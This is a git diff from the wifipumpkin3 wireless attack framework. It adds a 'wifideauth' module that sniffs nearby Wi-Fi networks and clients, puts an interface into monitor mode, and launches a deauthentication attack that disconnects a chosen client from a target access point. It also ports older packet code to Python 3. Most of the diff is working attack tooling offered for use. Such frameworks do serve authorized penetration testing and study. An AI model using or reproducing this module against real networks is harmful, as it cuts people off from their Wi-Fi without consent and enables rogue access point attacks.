diff --git a/CHANGELOG.md b/CHANGELOG.md index 643cdf9..46bba27 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ All notable changes to this project will be documented in this file. ## [1.0.x] - 2020-xx-xx ### Added +- added new module wifideauth for send deauthentication packets [mh4x0f] - added show up pydhcpserver log explanation [mh4x0f] - added redirecting HTTPS traffic to captive portal [mh4x0f] - added new format table for pretty printing [mh4x0f] diff --git a/wifipumpkin3/core/packets/wireless.py b/wifipumpkin3/core/packets/wireless.py index 88b39bc..b7b0911 100644 --- a/wifipumpkin3/core/packets/wireless.py +++ b/wifipumpkin3/core/packets/wireless.py @@ -1,9 +1,10 @@ -import Queue +import queue from scapy.all import * from threading import Thread -from PyQt4.QtCore import QThread, SIGNAL +from PyQt5.QtCore import QThread from netaddr import EUI from netaddr.core import NotRegisteredError +from wifipumpkin3.core.utility.printer import display_messages, setcolor # This file is part of the wifipumpkin3 Open Source Project. # wifipumpkin3 is licensed under the Apache 2.0. @@ -23,52 +24,6 @@ from netaddr.core import NotRegisteredError # limitations under the License. -class ThreadScannerAP(QThread): - def __init__(self, interface): - QThread.__init__(self) - self.interface = interface - self.stopped = False - - def run(self): - print("Starting Thread:" + self.objectName()) - self.LoopScanmer() - - def scannerAP(self, q): - while not self.stopped: - try: - sniff(iface=self.interface, prn=lambda x: q.put(x), timeout=20) - except: - pass - if self.stopped: - break - - def LoopScanmer(self): - q = Queue.Queue() - sniff = Thread(target=self.scannerAP, args=(q,)) - sniff.daemon = True - sniff.start() - while not self.stopped: - try: - pkt = q.get(timeout=1) - self.Scanner_devices(pkt) - except Queue.Empty: - pass - - def Scanner_devices(self, pkt): - if pkt.haslayer(Dot11): - if pkt.type == 0 and pkt.subtype == 8: - self.emit( - SIGNAL("Activated( QString )"), - "{}|{}|{}".format( - pkt.addr2, str(int(ord(pkt[Dot11Elt:3].info))), pkt.info - ), - ) - - def stop(self): - self.stopped = True - print("Stop thread:" + self.objectName()) - - class ThreadDeauth(QThread): def __init__(self, bssid, client, interface): QThread.__init__(self) @@ -79,7 +34,12 @@ class ThreadDeauth(QThread): self.pkts = [] def run(self): - print("Starting Thread:" + self.objectName()) + print( + display_messages( + "starting thread {}".format(setcolor(self.objectName(), color="green")), + info=True, + ) + ) self.status = True conf.iface = self.interface pkt1 = ( @@ -104,61 +64,8 @@ class ThreadDeauth(QThread): def stop(self): self.status = False - print("Stop thread:" + self.objectName()) - - -class ThreadProbeScan(QThread): - def __init__(self, interface): - QThread.__init__(self) - self.interface = interface - self.finished = False - self.captured = [] - - def run(self): - print("Starting Thread:" + self.objectName()) - self.ProbeResqest() - - def Startprobe(self, q): - while not self.finished: - try: - sniff(iface=self.interface, count=10, prn=lambda x: q.put(x)) - except: - pass - if self.finished: - break - - def ProbeResqest(self): - q = Queue.Queue() - self.sniff = Thread(target=self.Startprobe, args=(q,)) - self.sniff.daemon = True - self.sniff.start() - while not self.finished: - try: - pkt = q.get(timeout=1) - self.sniff_probe(pkt) - except Queue.Empty: - pass - - def sniff_probe(self, pkt): - if pkt.haslayer(Dot11ProbeReq) and "\x00" not in pkt[Dot11ProbeReq].info: - mac_address = pkt.addr2 - ssid = pkt[Dot11Elt].info - if len(ssid) == 0: - ssid = "Hidden" - try: - devices = EUI(mac_address) - devices = devices.oui.registration().org - except NotRegisteredError: - devices = "unknown device" - if not mac_address in self.captured: - self.captured.append(mac_address) - self.emit( - SIGNAL("Activated( QString )"), - mac_address + "|" + ssid + "|" + devices, - ) - - def stop(self): - print("Stop thread:" + self.objectName()) - self.finished = True - self.captured = [] - self.sniff.join(0) + print( + display_messages( + "thread {} successfully stopped".format(self.objectName()), info=True + ) + ) diff --git a/wifipumpkin3/modules/wifi/wifideauth.py b/wifipumpkin3/modules/wifi/wifideauth.py new file mode 100644 index 0000000..0aacf97 --- /dev/null +++ b/wifipumpkin3/modules/wifi/wifideauth.py @@ -0,0 +1,331 @@ +from wifipumpkin3.core.common.terminal import ModuleUI +from wifipumpkin3.core.config.globalimport import * +from wifipumpkin3.core.utility.printer import ( + display_messages, + setcolor, + display_tabulate, +) +from random import randrange +import time, signal, sys +from multiprocessing import Process +from scapy.all import * +from wifipumpkin3.core.common.platforms import Linux +from tabulate import tabulate +from wifipumpkin3.core.packets.wireless import ThreadDeauth + +# This file is part of the wifipumpkin3 Open Source Project. +# wifipumpkin3 is licensed under the Apache 2.0. + +# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f) + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# http://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +PROBE_REQUEST_TYPE = 0 +PROBE_REQUEST_SUBTYPE = 4 +DOT11_REQUEST_SUBTYPE = 2 + + +class ModPump(ModuleUI): + """ Sends deauthentication packets to a wifi network AP """ + + name = "wifideauth" + + options = { + "interface": ["wlxc83a35cef744", "Name network interface wireless "], + "target": ["00:00:00:00:00:00", "the device MAC Address from Device to deauth"], + "client": [ + "ff:ff:ff:ff:ff:ff", + "the device MAC Address from client to desconnect", + ], + "timeout": [0, "Time duration of scan network wireless (ex: 0 infinty)"], + } + completions = list(options.keys()) + + def __init__(self, parse_args=None, root=None): + self.parse_args = parse_args + self.root = root + self.name_module = self.name + self.whitelist = ["00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"] + self.aps = {} + self.clients = {} + self.table_headers_wifi = [ + "CH", + "SSID", + "BSSID", + "RSSI", + "Privacy", + ] + self.table_headers_STA = ["BSSID", "STATION", "PWR", "Frames", "Probe"] + self.table_output = [] + super(ModPump, self).__init__(parse_args=self.parse_args, root=self.root) + + def do_scan(self, args): + """ start scanner wireless networks AP""" + print( + display_messages( + "setting interface: {} monitor momde".format( + setcolor(self.options.get("interface")[0], color="green") + ), + info=True, + ) + ) + self.set_monitor_mode("monitor") + print(display_messages("starting Channel Hopping ", info=True)) + self.p = Process( + target=self.channel_hopper, args=(self.options.get("interface")[0],) + ) + self.p.daemon = True + self.p.start() + print(display_messages("sniffing... ", info=True)) + sniff( + iface=self.options.get("interface")[0], + prn=self.sniffAp, + timeout=None + if int(self.options.get("timeout")[0]) == 0 + else int(self.options.get("timeout")[0]), + ) + self.p.terminate() + self.set_monitor_mode() + print(display_messages("thread sniffing successfully stopped", info=True)) + + def do_run(self, args): + """ execute deauth module attack """ + client_mac = self.options.get("client")[0] + target_mac = self.options.get("target")[0] + interface = self.options.get("interface")[0] + print(display_messages("Options", info=True, sublime=True)) + print( + display_messages( + "client:| {} |".format(setcolor(client_mac, color="blue")), info=True + ) + ) + print( + display_messages( + "target:| {} |".format(setcolor(target_mac, color="red")), info=True + ) + ) + if "00:00:00:00:00:00" in self.options.get("target")[0]: + print( + display_messages( + "please, select a target to deauth attack ", error=True + ) + ) + return + print( + display_messages( + "enable interface: {} to monitor mode".format(interface), info=True + ) + ) + self.set_monitor_mode("monitor") + self.thread_deauth = ThreadDeauth(target_mac, client_mac, interface) + self.thread_deauth.setObjectName("wifideauth") + self.thread_deauth.start() + + def do_stop(self, args): + """ stop attack deauth module """ + if hasattr(self, "thread_deauth"): + self.thread_deauth.stop() + + def channel_hopper(self, interface): + while True: + try: + channel = randrange(1, 11) + os.system("iw dev %s set channel %d" % (interface, channel)) + time.sleep(1) + except KeyboardInterrupt: + break + + def handle_probe(self, pkt): + if ( + pkt.haslayer(Dot11ProbeReq) + and "\x00".encode() not in pkt[Dot11ProbeReq].info + ): + essid = pkt[Dot11ProbeReq].info + else: + essid = "Hidden SSID" + client = pkt[Dot11].addr2 + + if client in self.whitelist or essid in self.whitelist: + return + + if client not in self.clients: + self.clients[client] = [] + + if essid not in self.clients[client]: + self.clients[client].append(essid) + self.aps["(not associated)"] = {} + self.aps["(not associated)"]["STA"] = { + "Frames": 1, + "BSSID": "(not associated)", + "Station": client, + "Probe": essid, + "PWR": self.getRSSIPacketClients(pkt), + } + + def getRSSIPacket(self, pkt): + rssi = -100 + if pkt.haslayer(Dot11): + if pkt.type == 0 and pkt.subtype == 8: + if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): + rssi = pkt[RadioTap].dBm_AntSignal + return rssi + + def getRSSIPacketClients(self, pkt): + rssi = -100 + if pkt.haslayer(RadioTap): + rssi = pkt[RadioTap].dBm_AntSignal + return rssi + + def getStationTrackFrame(self, pkt): + if ( + pkt.haslayer(Dot11) + and pkt.getlayer(Dot11).type == DOT11_REQUEST_SUBTYPE + and not pkt.haslayer(EAPOL) + ): + + sender = pkt.getlayer(Dot11).addr2 + receiver = pkt.getlayer(Dot11).addr1 + if sender in self.aps.keys(): + if Linux.check_is_mac(receiver): + if not receiver in self.whitelist: + self.aps[sender]["STA"] = { + "Frames": 1, + "BSSID": sender, + "Station": receiver, + "Probe": "", + "PWR": self.getRSSIPacketClients(pkt), + } + if "STA" in self.aps[sender]: + self.aps[sender]["STA"]["Frames"] += 1 + self.aps[sender]["STA"]["PWR"] = self.getRSSIPacketClients(pkt) + + elif receiver in self.aps.keys(): + if Linux.check_is_mac(sender): + if not sender in self.whitelist: + self.aps[receiver]["STA"] = { + "Frames": 1, + "BSSID": receiver, + "Station": sender, + "Probe": "", + "PWR": self.getRSSIPacketClients(pkt), + } + if "STA" in self.aps[receiver]: + self.aps[receiver]["STA"]["Frames"] += 1 + self.aps[receiver]["STA"]["PWR"] = self.getRSSIPacketClients( + pkt + ) + + def handle_beacon(self, pkt): + if not pkt.haslayer(Dot11Elt): + return + + essid = ( + pkt[Dot11Elt].info + if "\x00".encode() not in pkt[Dot11Elt].info and pkt[Dot11Elt].info != "" + else "Hidden SSID" + ) + bssid = pkt[Dot11].addr3 + client = pkt[Dot11].addr2 + if ( + client in self.whitelist + or essid in self.whitelist + or bssid in self.whitelist + ): + return + + try: + channel = int(ord(pkt[Dot11Elt:3].info)) + except: + channel = 0 + + rssi = self.getRSSIPacket(pkt) + + p = pkt[Dot11Elt] + capability = p.sprintf( + "{Dot11Beacon:%Dot11Beacon.cap%}\ + {Dot11ProbeResp:%Dot11ProbeResp.cap%}" + ) + + crypto = set() + while isinstance(p, Dot11Elt): + if p.ID == 48: + crypto.add("WPA2") + elif p.ID == 221 and p.info.startswith("\x00P\xf2\x01\x01\x00".encode()): + crypto.add("WPA") + p = p.payload + + if not crypto: + if "privacy" in capability: + crypto.add("WEP") + else: + crypto.add("OPN") + + enc = "/".join(crypto) + self.aps[bssid] = { + "ssid": essid, + "channel": channel, + "capability": capability, + "enc": enc, + "rssi": rssi, + } + + def showDataOutputScan(self): + os.system("clear") + self.table_output = [] + self.table_station = [] + for bssid, info in self.aps.items(): + if not "(not associated)" in bssid: + self.table_output.append( + [info["channel"], info["ssid"], bssid, info["rssi"], info["enc"]] + ) + display_tabulate(self.table_headers_wifi, self.table_output) + print("\n") + for bssid, info in self.aps.items(): + if "STA" in info: + self.table_station.append( + [ + info["STA"]["BSSID"], + info["STA"]["Station"], + info["STA"]["PWR"], + info["STA"]["Frames"], + info["STA"]["Probe"], + ] + ) + if len(self.table_station) > 0: + display_tabulate(self.table_headers_STA, self.table_station) + + print(display_messages("press CTRL+C to stop scanning", info=True)) + + def sniffAp(self, pkt): + self.getStationTrackFrame(pkt) + if ( + pkt.haslayer(Dot11Beacon) + or pkt.haslayer(Dot11ProbeResp) + or pkt.haslayer(Dot11ProbeReq) + ): + + if pkt.type == PROBE_REQUEST_TYPE and pkt.subtype == PROBE_REQUEST_SUBTYPE: + self.handle_probe(pkt) + + if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): + self.handle_beacon(pkt) + + self.showDataOutputScan() + + def set_monitor_mode(self, mode="manager"): + if not self.options.get("interface")[0] in Linux.get_interfaces().get("all"): + print(display_messages("the interface not found!", error=True)) + sys.exit(1) + os.system("ifconfig {} down".format(self.options.get("interface")[0])) + os.system("iwconfig {} mode {}".format(self.options.get("interface")[0], mode)) + os.system("ifconfig {} up".format(self.options.get("interface")[0])) diff --git a/wifipumpkin3/modules/wifi/wifiscan.py b/wifipumpkin3/modules/wifi/wifiscan.py index 1197133..a52e1ec 100644 --- a/wifipumpkin3/modules/wifi/wifiscan.py +++ b/wifipumpkin3/modules/wifi/wifiscan.py @@ -1,6 +1,10 @@ from wifipumpkin3.core.common.terminal import ModuleUI from wifipumpkin3.core.config.globalimport import * -from wifipumpkin3.core.utility.printer import display_messages, setcolor +from wifipumpkin3.core.utility.printer import ( + display_messages, + setcolor, + display_tabulate, +) from random import randrange import time, signal, sys from multiprocessing import Process @@ -37,7 +41,7 @@ class ModPump(ModuleUI): options = { "interface": ["wlxc83a35cef744", "Name network interface wireless "], - "timeout": [10, "Time duration of scan network wireless (ex: 0 infinty)"], + "timeout": [0, "Time duration of scan network wireless (ex: 0 infinty)"], } completions = list(options.keys()) @@ -86,6 +90,7 @@ class ModPump(ModuleUI): ) self.p.terminate() self.set_monitor_mode() + print(display_messages("thread sniffing successfully stopped", info=True)) def channel_hopper(self, interface): while True: @@ -239,7 +244,7 @@ class ModPump(ModuleUI): self.table_output.append( [info["channel"], info["ssid"], bssid, info["rssi"], info["enc"]] ) - print(tabulate(self.table_output, self.table_headers_wifi, tablefmt="simple")) + display_tabulate(self.table_headers_wifi, self.table_output) print("\n") for bssid, info in self.aps.items(): if "STA" in info: @@ -253,9 +258,9 @@ class ModPump(ModuleUI): ] ) if len(self.table_station) > 0: - print( - tabulate(self.table_station, self.table_headers_STA, tablefmt="simple") - ) + display_tabulate(self.table_headers_STA, self.table_station) + + print(display_messages("press CTRL+C to stop scanning", info=True)) def sniffAp(self, pkt): self.getStationTrackFrame(pkt)